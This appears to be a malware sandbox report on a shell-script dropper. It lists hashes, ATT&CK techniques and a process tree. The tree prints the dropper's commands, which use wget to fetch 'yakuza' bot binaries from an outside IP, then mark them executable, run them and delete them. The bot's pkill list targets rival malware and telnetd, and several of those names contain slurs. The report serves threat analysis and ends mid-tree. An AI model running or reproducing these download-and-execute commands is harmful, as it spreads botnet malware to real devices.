37b2c36f599fd5ba676cce6512abe7aa47c08605aacf3fa31b536054d6e067f7

Analysis

max time kernel
149s
max time network
152s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
18-11-2024 02:10

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

37b2c36f599fd5ba676cce6512abe7aa47c08605aacf3fa31b536054d6e067f7.sh
Size

1KB
MD5

b5a7f5f630bc2eee5f8a30ecc75b3e9c
SHA1

adc6352bb1ca055207d877c1fb3c7486adc0be20
SHA256

37b2c36f599fd5ba676cce6512abe7aa47c08605aacf3fa31b536054d6e067f7
SHA512

ad8c3562b969fa3f6ae958cde6202dace4fbabbf8da1d5c57e89cb707b77fd2e76154df4a5d4a719eb931763fa70de9d224b4c29f93320db5251c5acfc5ff679

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 13 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1576	chmod
1581	chmod
1595	chmod
1517	chmod
1522	chmod
1527	chmod
1542	chmod
1555	chmod
1614	chmod
1511	chmod
1537	chmod
1560	chmod
1600	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/yakuza.mips	1512	yakuza.mips

Enumerates running processes
Discovers information about currently running processes on the system

Reads CPU attributes 1 TTPs 64 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/421/cmdline	pkill
File opened for reading	/proc/32/status	pkill
File opened for reading	/proc/1331/cmdline	pkill
File opened for reading	/proc/1529/cmdline	Process not Found
File opened for reading	/proc/939/status	Process not Found
File opened for reading	/proc/1136/cmdline	pkill
File opened for reading	/proc/1352/cmdline	Process not Found
File opened for reading	/proc/662/cmdline	pkill
File opened for reading	/proc/1249/cmdline	pkill
File opened for reading	/proc/1172/cmdline	pkill
File opened for reading	/proc/238/cmdline	pkill
File opened for reading	/proc/156/cmdline	pkill
File opened for reading	/proc/1176/cmdline	pkill
File opened for reading	/proc/724/cmdline	pkill
File opened for reading	/proc/1/status	pkill
File opened for reading	/proc/27/status	pkill
File opened for reading	/proc/161/status	pkill
File opened for reading	/proc/84/cmdline	pkill
File opened for reading	/proc/1351/status	pkill
File opened for reading	/proc/434/cmdline	pkill
File opened for reading	/proc/156/cmdline	pkill
File opened for reading	/proc/2699/cmdline	Process not Found
File opened for reading	/proc/428/status	pkill
File opened for reading	/proc/1331/cmdline	pkill
File opened for reading	/proc/1368/status	pkill
File opened for reading	/proc/685/status	pkill
File opened for reading	/proc/267/status	Process not Found
File opened for reading	/proc/1073/cmdline	Process not Found
File opened for reading	/proc/973/cmdline	pkill
File opened for reading	/proc/493/status	pkill
File opened for reading	/proc/2417/status	pkill
File opened for reading	/proc/550/cmdline	Process not Found
File opened for reading	/proc/490/cmdline	Process not Found
File opened for reading	/proc/1532/status	Process not Found
File opened for reading	/proc/554/cmdline	pkill
File opened for reading	/proc/165/status	pkill
File opened for reading	/proc/1503/cmdline	pkill
File opened for reading	/proc/16/status	pkill
File opened for reading	/proc/476/status	pkill
File opened for reading	/proc/330/cmdline	pkill
File opened for reading	/proc/165/cmdline	pkill
File opened for reading	/proc/160/status	pkill
File opened for reading	/proc/434/status	pkill
File opened for reading	/proc/1386/status	Process not Found
File opened for reading	/proc/1196/status	Process not Found
File opened for reading	/proc/1082/cmdline	pkill
File opened for reading	/proc/168/cmdline	Process not Found
File opened for reading	/proc/1565/status	Process not Found
File opened for reading	/proc/1564/cmdline	Process not Found
File opened for reading	/proc/1529/status	Process not Found
File opened for reading	/proc/554/cmdline	pkill
File opened for reading	/proc/89/status	Process not Found
File opened for reading	/proc/1296/status	pkill
File opened for reading	/proc/330/cmdline	pkill
File opened for reading	/proc/157/status	Process not Found
File opened for reading	/proc/1544/status	Process not Found
File opened for reading	/proc/1544/cmdline	pkill
File opened for reading	/proc/34/cmdline	pkill
File opened for reading	/proc/490/status	pkill
File opened for reading	/proc/1531/status	Process not Found
File opened for reading	/proc/154/status	pkill
File opened for reading	/proc/17/status	pkill
File opened for reading	/proc/4/status	pkill
File opened for reading	/proc/1503/cmdline	pkill

System Network Configuration Discovery 1 TTPs 15 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1506	wget
1512	yakuza.mips
1514	rm
2253	sh
1515	wget
2254	pkill
2260	busybox
2261	busybox
1520	rm
2249	pkill
2256	pkill
1518	yakuza.mipsel
2244	sh
2252	busybox
2255	sh

Writes file to tmp directory 13 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/yakuza.i586	wget
File opened for modification	/tmp/yakuza.arm4	wget
File opened for modification	/tmp/yakuza.mips	wget
File opened for modification	/tmp/yakuza.mipsel	wget
File opened for modification	/tmp/yakuza.x86	wget
File opened for modification	/tmp/yakuza.arm6	wget
File opened for modification	/tmp/yakuza.i686	wget
File opened for modification	/tmp/yakuza.ppc	wget
File opened for modification	/tmp/yakuza.arm5	wget
File opened for modification	/tmp/yakuza.sparc	wget
File opened for modification	/tmp/yakuza.sh	wget
File opened for modification	/tmp/yakuza.m68k	wget
File opened for modification	/tmp/yakuza.arm7	wget

/tmp/37b2c36f599fd5ba676cce6512abe7aa47c08605aacf3fa31b536054d6e067f7.sh
/tmp/37b2c36f599fd5ba676cce6512abe7aa47c08605aacf3fa31b536054d6e067f7.sh
1⤵
PID:1505
- /usr/bin/wget
  wget http://79.23.237.23/yakuza.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1506
- /bin/chmod
  chmod +x yakuza.mips
  2⤵
  - File and Directory Permissions Modification
  PID:1511
- /tmp/yakuza.mips
  ./yakuza.mips
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:1512
- /bin/rm
  rm -rf yakuza.mips
  2⤵
  - System Network Configuration Discovery
  PID:1514
- /usr/bin/wget
  wget http://79.23.237.23/yakuza.mipsel
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1515
- /bin/chmod
  chmod +x yakuza.mipsel
  2⤵
  - File and Directory Permissions Modification
  PID:1517
- /tmp/yakuza.mipsel
  ./yakuza.mipsel
  2⤵
  - System Network Configuration Discovery
  PID:1518
- /bin/rm
  rm -rf yakuza.mipsel
  2⤵
  - System Network Configuration Discovery
  PID:1520
- /usr/bin/wget
  wget http://79.23.237.23/yakuza.sh
  2⤵
  - Writes file to tmp directory
  PID:1521
- /bin/chmod
  chmod +x yakuza.sh
  2⤵
  - File and Directory Permissions Modification
  PID:1522
- /tmp/yakuza.sh
  ./yakuza.sh
  2⤵
  PID:1523
- /bin/rm
  rm -rf yakuza.sh
  2⤵
  PID:1525
- /usr/bin/wget
  wget http://79.23.237.23/yakuza.x86
  2⤵
  - Writes file to tmp directory
  PID:1526
- /bin/chmod
  chmod +x yakuza.x86
  2⤵
  - File and Directory Permissions Modification
  PID:1527
- /tmp/yakuza.x86
  ./yakuza.x86
  2⤵
  PID:1528
- - /bin/sh
    sh -c "pkill -9 902i13 || busybox pkill -9 902i13"
    3⤵
    PID:1533
  - - /usr/bin/pkill
      pkill -9 902i13
      4⤵
      PID:1534
  - - /bin/busybox
      busybox pkill -9 902i13
      4⤵
      PID:1536
- - /bin/sh
    sh -c "pkill -9 BzSxLxBxeY || busybox pkill -9 BzSxLxBxeY"
    3⤵
    PID:1551
  - - /usr/bin/pkill
      pkill -9 BzSxLxBxeY
      4⤵
      Reads CPU attributes
      PID:1552
  - - /bin/busybox
      busybox pkill -9 BzSxLxBxeY
      4⤵
      PID:1554
- - /bin/sh
    sh -c "pkill -9 HOHO-LUGO7 || busybox pkill -9 HOHO-LUGO7"
    3⤵
    PID:1573
  - - /usr/bin/pkill
      pkill -9 HOHO-LUGO7
      4⤵
      Reads runtime system information
      PID:1574
  - - /bin/busybox
      busybox pkill -9 HOHO-LUGO7
      4⤵
      PID:1575
- - /bin/sh
    sh -c "pkill -9 HOHO-U79OL || busybox pkill -9 HOHO-U79OL"
    3⤵
    PID:1591
  - - /usr/bin/pkill
      pkill -9 HOHO-U79OL
      4⤵
      PID:1592
  - - /bin/busybox
      busybox pkill -9 HOHO-U79OL
      4⤵
      PID:1594
- - /bin/sh
    sh -c "pkill -9 JuYfouyf87 || busybox pkill -9 JuYfouyf87"
    3⤵
    PID:1610
  - - /usr/bin/pkill
      pkill -9 JuYfouyf87
      4⤵
      PID:1611
  - - /bin/busybox
      busybox pkill -9 JuYfouyf87
      4⤵
      PID:1613
- - /bin/sh
    sh -c "pkill -9 NiGGeR69xd || busybox pkill -9 NiGGeR69xd"
    3⤵
    PID:1623
  - - /usr/bin/pkill
      pkill -9 NiGGeR69xd
      4⤵
      PID:1624
  - - /bin/busybox
      busybox pkill -9 NiGGeR69xd
      4⤵
      PID:1625
- - /bin/sh
    sh -c "pkill -9 SO190Ij1X || busybox pkill -9 SO190Ij1X"
    3⤵
    PID:1630
  - - /usr/bin/pkill
      pkill -9 SO190Ij1X
      4⤵
      PID:1631
  - - /bin/busybox
      busybox pkill -9 SO190Ij1X
      4⤵
      PID:1634
- - /bin/sh
    sh -c "pkill -9 LOLKIKEEEDDE || busybox pkill -9 LOLKIKEEEDDE"
    3⤵
    PID:1639
  - - /usr/bin/pkill
      pkill -9 LOLKIKEEEDDE
      4⤵
      Reads runtime system information
      PID:1640
  - - /bin/busybox
      busybox pkill -9 LOLKIKEEEDDE
      4⤵
      PID:1643
- - /bin/sh
    sh -c "pkill -9 ekjheory98e || busybox pkill -9 ekjheory98e"
    3⤵
    PID:1650
  - - /usr/bin/pkill
      pkill -9 ekjheory98e
      4⤵
      PID:1651
  - - /bin/busybox
      busybox pkill -9 ekjheory98e
      4⤵
      PID:1652
- - /bin/sh
    sh -c "pkill -9 scansh4 || busybox pkill -9 scansh4"
    3⤵
    PID:1659
  - - /usr/bin/pkill
      pkill -9 scansh4
      4⤵
      Reads CPU attributes
      PID:1660
  - - /bin/busybox
      busybox pkill -9 scansh4
      4⤵
      PID:1661
- - /bin/sh
    sh -c "pkill -9 MDMA || busybox pkill -9 MDMA"
    3⤵
    PID:1666
  - - /usr/bin/pkill
      pkill -9 MDMA
      4⤵
      PID:1667
  - - /bin/busybox
      busybox pkill -9 MDMA
      4⤵
      PID:1670
- - /bin/sh
    sh -c "pkill -9 fdevalvex || busybox pkill -9 fdevalvex"
    3⤵
    PID:1677
  - - /usr/bin/pkill
      pkill -9 fdevalvex
      4⤵
      Reads CPU attributes
      PID:1678
  - - /bin/busybox
      busybox pkill -9 fdevalvex
      4⤵
      PID:1680
- - /bin/sh
    sh -c "pkill -9 scanspc || busybox pkill -9 scanspc"
    3⤵
    PID:1684
  - - /usr/bin/pkill
      pkill -9 scanspc
      4⤵
      PID:1685
  - - /bin/busybox
      busybox pkill -9 scanspc
      4⤵
      PID:1688
- - /bin/sh
    sh -c "pkill -9 MELTEDNINJAREALZ || busybox pkill -9 MELTEDNINJAREALZ"
    3⤵
    PID:1695
  - - /usr/bin/pkill
      pkill -9 MELTEDNINJAREALZ
      4⤵
      Reads runtime system information
      PID:1696
  - - /bin/busybox
      busybox pkill -9 MELTEDNINJAREALZ
      4⤵
      PID:1697
- - /bin/sh
    sh -c "pkill -9 flexsonskids || busybox pkill -9 flexsonskids"
    3⤵
    PID:1702
  - - /usr/bin/pkill
      pkill -9 flexsonskids
      4⤵
      PID:1703
  - - /bin/busybox
      busybox pkill -9 flexsonskids
      4⤵
      PID:1706
- - /bin/sh
    sh -c "pkill -9 scanx86 || busybox pkill -9 scanx86"
    3⤵
    PID:1713
  - - /usr/bin/pkill
      pkill -9 scanx86
      4⤵
      PID:1714
  - - /bin/busybox
      busybox pkill -9 scanx86
      4⤵
      PID:1715
- - /bin/sh
    sh -c "pkill -9 MISAKI-U79OL || busybox pkill -9 MISAKI-U79OL"
    3⤵
    PID:1720
  - - /usr/bin/pkill
      pkill -9 MISAKI-U79OL
      4⤵
      PID:1721
  - - /bin/busybox
      busybox pkill -9 MISAKI-U79OL
      4⤵
      PID:1724
- - /bin/sh
    sh -c "pkill -9 foAxi102kxe || busybox pkill -9 foAxi102kxe"
    3⤵
    PID:1729
  - - /usr/bin/pkill
      pkill -9 foAxi102kxe
      4⤵
      PID:1730
  - - /bin/busybox
      busybox pkill -9 foAxi102kxe
      4⤵
      PID:1733
- - /bin/sh
    sh -c "pkill -9 swodjwodjwoj || busybox pkill -9 swodjwodjwoj"
    3⤵
    PID:1738
  - - /usr/bin/pkill
      pkill -9 swodjwodjwoj
      4⤵
      Reads runtime system information
      PID:1739
  - - /bin/busybox
      busybox pkill -9 swodjwodjwoj
      4⤵
      PID:1743
- - /bin/sh
    sh -c "pkill -9 MmKiy7f87l || busybox pkill -9 MmKiy7f87l"
    3⤵
    PID:1748
  - - /usr/bin/pkill
      pkill -9 MmKiy7f87l
      4⤵
      PID:1749
  - - /bin/busybox
      busybox pkill -9 MmKiy7f87l
      4⤵
      PID:1752
- - /bin/sh
    sh -c "pkill -9 freecookiex86 || busybox pkill -9 freecookiex86"
    3⤵
    PID:1756
  - - /usr/bin/pkill
      pkill -9 freecookiex86
      4⤵
      PID:1757
  - - /bin/busybox
      busybox pkill -9 freecookiex86
      4⤵
      PID:1761
- - /bin/sh
    sh -c "pkill -9 sysgpu || busybox pkill -9 sysgpu"
    3⤵
    PID:1765
  - - /usr/bin/pkill
      pkill -9 sysgpu
      4⤵
      PID:1766
  - - /bin/busybox
      busybox pkill -9 sysgpu
      4⤵
      PID:1769
- - /bin/sh
    sh -c "pkill -9 NiGGeR69xd || busybox pkill -9 NiGGeR69xd"
    3⤵
    PID:1774
  - - /usr/bin/pkill
      pkill -9 NiGGeR69xd
      4⤵
      Reads runtime system information
      PID:1775
  - - /bin/busybox
      busybox pkill -9 NiGGeR69xd
      4⤵
      PID:1778
- - /bin/sh
    sh -c "pkill -9 frgege || busybox pkill -9 frgege"
    3⤵
    PID:1783
  - - /usr/bin/pkill
      pkill -9 frgege
      4⤵
      PID:1784
  - - /bin/busybox
      busybox pkill -9 frgege
      4⤵
      PID:1788
- - /bin/sh
    sh -c "pkill -9 sysupdater || busybox pkill -9 sysupdater"
    3⤵
    PID:1794
  - - /usr/bin/pkill
      pkill -9 sysupdater
      4⤵
      PID:1795
  - - /bin/busybox
      busybox pkill -9 sysupdater
      4⤵
      PID:1797
- - /bin/sh
    sh -c "pkill -9 0DnAzepd || busybox pkill -9 0DnAzepd"
    3⤵
    PID:1801
  - - /usr/bin/pkill
      pkill -9 0DnAzepd
      4⤵
      PID:1802
  - - /bin/busybox
      busybox pkill -9 0DnAzepd
      4⤵
      PID:1805
- - /bin/sh
    sh -c "pkill -9 NiGGeRD0nks69 || busybox pkill -9 NiGGeRD0nks69"
    3⤵
    PID:1810
  - - /usr/bin/pkill
      pkill -9 NiGGeRD0nks69
      4⤵
      PID:1811
  - - /bin/busybox
      busybox pkill -9 NiGGeRD0nks69
      4⤵
      PID:1815
- - /bin/sh
    sh -c "pkill -9 frgreu || busybox pkill -9 frgreu"
    3⤵
    PID:1823
  - - /usr/bin/pkill
      pkill -9 frgreu
      4⤵
      Reads runtime system information
      PID:1824
  - - /bin/busybox
      busybox pkill -9 frgreu
      4⤵
      PID:1826
- - /bin/sh
    sh -c "pkill -9 telnetd || busybox pkill -9 telnetd"
    3⤵
    PID:1830
  - - /usr/bin/pkill
      pkill -9 telnetd
      4⤵
      PID:1831
  - - /bin/busybox
      busybox pkill -9 telnetd
      4⤵
      PID:1835
- - /bin/sh
    sh -c "pkill -9 0x766f6964 || busybox pkill -9 0x766f6964"
    3⤵
    PID:1841
  - - /usr/bin/pkill
      pkill -9 0x766f6964
      4⤵
      PID:1842
  - - /bin/busybox
      busybox pkill -9 0x766f6964
      4⤵
      PID:1844
- - /bin/sh
    sh -c "pkill -9 NiGGeRd0nks1337 || busybox pkill -9 NiGGeRd0nks1337"
    3⤵
    PID:1848
  - - /usr/bin/pkill
      pkill -9 NiGGeRd0nks1337
      4⤵
      PID:1849
  - - /bin/busybox
      busybox pkill -9 NiGGeRd0nks1337
      4⤵
      PID:1853
- - /bin/sh
    sh -c "pkill -9 gaft || busybox pkill -9 gaft"
    3⤵
    PID:1857
  - - /usr/bin/pkill
      pkill -9 gaft
      4⤵
      Reads CPU attributes
      PID:1860
  - - /bin/busybox
      busybox pkill -9 gaft
      4⤵
      PID:1862
- - /bin/sh
    sh -c "pkill -9 urasgbsigboa || busybox pkill -9 urasgbsigboa"
    3⤵
    PID:1868
  - - /usr/bin/pkill
      pkill -9 urasgbsigboa
      4⤵
      PID:1869
  - - /bin/busybox
      busybox pkill -9 urasgbsigboa
      4⤵
      PID:1871
- - /bin/sh
    sh -c "pkill -9 120i3UI49 || busybox pkill -9 120i3UI49"
    3⤵
    PID:1875
  - - /usr/bin/pkill
      pkill -9 120i3UI49
      4⤵
      Reads CPU attributes
      Reads runtime system information
      PID:1876
  - - /bin/busybox
      busybox pkill -9 120i3UI49
      4⤵
      PID:1879
- - /bin/sh
    sh -c "pkill -9 OaF3 || busybox pkill -9 OaF3"
    3⤵
    PID:1886
  - - /usr/bin/pkill
      pkill -9 OaF3
      4⤵
      PID:1887
  - - /bin/busybox
      busybox pkill -9 OaF3
      4⤵
      PID:1889
- - /bin/sh
    sh -c "pkill -9 geae || busybox pkill -9 geae"
    3⤵
    PID:1895
  - - /usr/bin/pkill
      pkill -9 geae
      4⤵
      PID:1896
  - - /bin/busybox
      busybox pkill -9 geae
      4⤵
      PID:1898
- - /bin/sh
    sh -c "pkill -9 vaiolmao || busybox pkill -9 vaiolmao"
    3⤵
    PID:1902
  - - /usr/bin/pkill
      pkill -9 vaiolmao
      4⤵
      PID:1905
  - - /bin/busybox
      busybox pkill -9 vaiolmao
      4⤵
      PID:1906
- - /bin/sh
    sh -c "pkill -9 123123a || busybox pkill -9 123123a"
    3⤵
    PID:1911
  - - /usr/bin/pkill
      pkill -9 123123a
      4⤵
      PID:1912
  - - /bin/busybox
      busybox pkill -9 123123a
      4⤵
      PID:1916
- - /bin/sh
    sh -c "pkill -9 Ofurain0n4H34D || busybox pkill -9 Ofurain0n4H34D"
    3⤵
    PID:1921
  - - /usr/bin/pkill
      pkill -9 Ofurain0n4H34D
      4⤵
      PID:1922
  - - /bin/busybox
      busybox pkill -9 Ofurain0n4H34D
      4⤵
      PID:1924
- - /bin/sh
    sh -c "pkill -9 ggTrex || busybox pkill -9 ggTrex"
    3⤵
    PID:1929
  - - /usr/bin/pkill
      pkill -9 ggTrex
      4⤵
      PID:1932
  - - /bin/busybox
      busybox pkill -9 ggTrex
      4⤵
      PID:1933
- - /bin/sh
    sh -c "pkill -9 wasads || busybox pkill -9 wasads"
    3⤵
    PID:1938
  - - /usr/bin/pkill
      pkill -9 wasads
      4⤵
      PID:1941
  - - /bin/busybox
      busybox pkill -9 wasads
      4⤵
      PID:1943
- - /bin/sh
    sh -c "pkill -9 1293194hjXD || busybox pkill -9 1293194hjXD"
    3⤵
    PID:1947
  - - /usr/bin/pkill
      pkill -9 1293194hjXD
      4⤵
      Reads CPU attributes
      Reads runtime system information
      PID:1948
  - - /bin/busybox
      busybox pkill -9 1293194hjXD
      4⤵
      PID:1951
- - /bin/sh
    sh -c "pkill -9 OthLaLosn || busybox pkill -9 OthLaLosn"
    3⤵
    PID:1956
  - - /usr/bin/pkill
      pkill -9 OthLaLosn
      4⤵
      Reads CPU attributes
      PID:1957
  - - /bin/busybox
      busybox pkill -9 OthLaLosn
      4⤵
      PID:1961
- - /bin/sh
    sh -c "pkill -9 ggt || busybox pkill -9 ggt"
    3⤵
    PID:1967
  - - /usr/bin/pkill
      pkill -9 ggt
      4⤵
      PID:1968
  - - /bin/busybox
      busybox pkill -9 ggt
      4⤵
      PID:1969
- - /bin/sh
    sh -c "pkill -9 wget-log || busybox pkill -9 wget-log"
    3⤵
    PID:1976
  - - /usr/bin/pkill
      pkill -9 wget-log
      4⤵
      PID:1977
  - - /bin/busybox
      busybox pkill -9 wget-log
      4⤵
      PID:1978
- - /bin/sh
    sh -c "pkill -9 1337SoraLOADER || busybox pkill -9 1337SoraLOADER"
    3⤵
    PID:1984
  - - /usr/bin/pkill
      pkill -9 1337SoraLOADER
      4⤵
      PID:1985
  - - /bin/busybox
      busybox pkill -9 1337SoraLOADER
      4⤵
      PID:1987
- - /bin/sh
    sh -c "pkill -9 SAIAKINA || busybox pkill -9 SAIAKINA"
    3⤵
    PID:1992
  - - /usr/bin/pkill
      pkill -9 SAIAKINA
      4⤵
      PID:1993
  - - /bin/busybox
      busybox pkill -9 SAIAKINA
      4⤵
      PID:1996
- - /bin/sh
    sh -c "pkill -9 ggtq || busybox pkill -9 ggtq"
    3⤵
    PID:2001
  - - /usr/bin/pkill
      pkill -9 ggtq
      4⤵
      PID:2002
  - - /bin/busybox
      busybox pkill -9 ggtq
      4⤵
      PID:2005
- - /bin/sh
    sh -c "pkill -9 1378bfp919GRB1Q2 || busybox pkill -9 1378bfp919GRB1Q2"
    3⤵
    PID:2010
  - - /usr/bin/pkill
      pkill -9 1378bfp919GRB1Q2
      4⤵
      PID:2011
  - - /bin/busybox
      busybox pkill -9 1378bfp919GRB1Q2
      4⤵
      PID:2015
- - /bin/sh
    sh -c "pkill -9 SAIAKUSO || busybox pkill -9 SAIAKUSO"
    3⤵
    PID:2019
  - - /usr/bin/pkill
      pkill -9 SAIAKUSO
      4⤵
      PID:2020
  - - /bin/busybox
      busybox pkill -9 SAIAKUSO
      4⤵
      PID:2024
- - /bin/sh
    sh -c "pkill -9 ggtr || busybox pkill -9 ggtr"
    3⤵
    PID:2028
  - - /usr/bin/pkill
      pkill -9 ggtr
      4⤵
      Reads runtime system information
      PID:2029
  - - /bin/busybox
      busybox pkill -9 ggtr
      4⤵
      PID:2032
- - /bin/sh
    sh -c "pkill -9 14Fa || busybox pkill -9 14Fa"
    3⤵
    PID:2039
  - - /usr/bin/pkill
      pkill -9 14Fa
      4⤵
      PID:2040
  - - /bin/busybox
      busybox pkill -9 14Fa
      4⤵
      PID:2041
- - /bin/sh
    sh -c "pkill -9 SEXSLAVE1337 || busybox pkill -9 SEXSLAVE1337"
    3⤵
    PID:2047
  - - /usr/bin/pkill
      pkill -9 SEXSLAVE1337
      4⤵
      PID:2048
  - - /bin/busybox
      busybox pkill -9 SEXSLAVE1337
      4⤵
      PID:2050
- - /bin/sh
    sh -c "pkill -9 ggtt || busybox pkill -9 ggtt"
    3⤵
    PID:2055
  - - /usr/bin/pkill
      pkill -9 ggtt
      4⤵
      PID:2058
  - - /bin/busybox
      busybox pkill -9 ggtt
      4⤵
      PID:2060
- - /bin/sh
    sh -c "pkill -9 1902a3u912u3u4 || busybox pkill -9 1902a3u912u3u4"
    3⤵
    PID:2064
  - - /usr/bin/pkill
      pkill -9 1902a3u912u3u4
      4⤵
      PID:2065
  - - /bin/busybox
      busybox pkill -9 1902a3u912u3u4
      4⤵
      PID:2070
- - /bin/sh
    sh -c "pkill -9 SO190Ij1X || busybox pkill -9 SO190Ij1X"
    3⤵
    PID:2073
  - - /usr/bin/pkill
      pkill -9 SO190Ij1X
      4⤵
      Reads CPU attributes
      PID:2074
  - - /bin/busybox
      busybox pkill -9 SO190Ij1X
      4⤵
      PID:2079
- - /bin/sh
    sh -c "pkill -9 haetrghbr || busybox pkill -9 haetrghbr"
    3⤵
    PID:2082
  - - /usr/bin/pkill
      pkill -9 haetrghbr
      4⤵
      Reads runtime system information
      PID:2086
  - - /bin/busybox
      busybox pkill -9 haetrghbr
      4⤵
      PID:2088
- - /bin/sh
    sh -c "pkill -9 19ju3d || busybox pkill -9 19ju3d"
    3⤵
    PID:2094
  - - /usr/bin/pkill
      pkill -9 19ju3d
      4⤵
      PID:2096
  - - /bin/busybox
      busybox pkill -9 19ju3d
      4⤵
      PID:2099
- - /bin/sh
    sh -c "pkill -9 SORAojkf120 || busybox pkill -9 SORAojkf120"
    3⤵
    PID:2103
  - - /usr/bin/pkill
      pkill -9 SORAojkf120
      4⤵
      Reads runtime system information
      PID:2104
  - - /bin/busybox
      busybox pkill -9 SORAojkf120
      4⤵
      PID:2107
- - /bin/sh
    sh -c "pkill -9 hehahejeje92 || busybox pkill -9 hehahejeje92"
    3⤵
    PID:2109
  - - /usr/bin/pkill
      pkill -9 hehahejeje92
      4⤵
      PID:2110
  - - /bin/busybox
      busybox pkill -9 hehahejeje92
      4⤵
      PID:2116
- - /bin/sh
    sh -c "pkill -9 2U2JDJA901F91 || busybox pkill -9 2U2JDJA901F91"
    3⤵
    PID:2118
  - - /usr/bin/pkill
      pkill -9 2U2JDJA901F91
      4⤵
      PID:2119
  - - /bin/busybox
      busybox pkill -9 2U2JDJA901F91
      4⤵
      PID:2125
- - /bin/sh
    sh -c "pkill -9 SlaVLav12 || busybox pkill -9 SlaVLav12"
    3⤵
    PID:2127
  - - /usr/bin/pkill
      pkill -9 SlaVLav12
      4⤵
      PID:2132
  - - /bin/busybox
      busybox pkill -9 SlaVLav12
      4⤵
      PID:2133
- - /bin/sh
    sh -c "pkill -9 helpmedaddthhhhh || busybox pkill -9 helpmedaddthhhhh"
    3⤵
    PID:2137
  - - /usr/bin/pkill
      pkill -9 helpmedaddthhhhh
      4⤵
      PID:2138
  - - /bin/busybox
      busybox pkill -9 helpmedaddthhhhh
      4⤵
      PID:2143
- - /bin/sh
    sh -c "pkill -9 2wgg9qphbq || busybox pkill -9 2wgg9qphbq"
    3⤵
    PID:2147
  - - /usr/bin/pkill
      pkill -9 2wgg9qphbq
      4⤵
      Reads CPU attributes
      PID:2148
  - - /bin/busybox
      busybox pkill -9 2wgg9qphbq
      4⤵
      PID:2152
- - /bin/sh
    sh -c "pkill -9 Slav3Th3seD3vices || busybox pkill -9 Slav3Th3seD3vices"
    3⤵
    PID:2158
  - - /usr/bin/pkill
      pkill -9 Slav3Th3seD3vices
      4⤵
      Reads runtime system information
      PID:2159
  - - /bin/busybox
      busybox pkill -9 Slav3Th3seD3vices
      4⤵
      PID:2160
- - /bin/sh
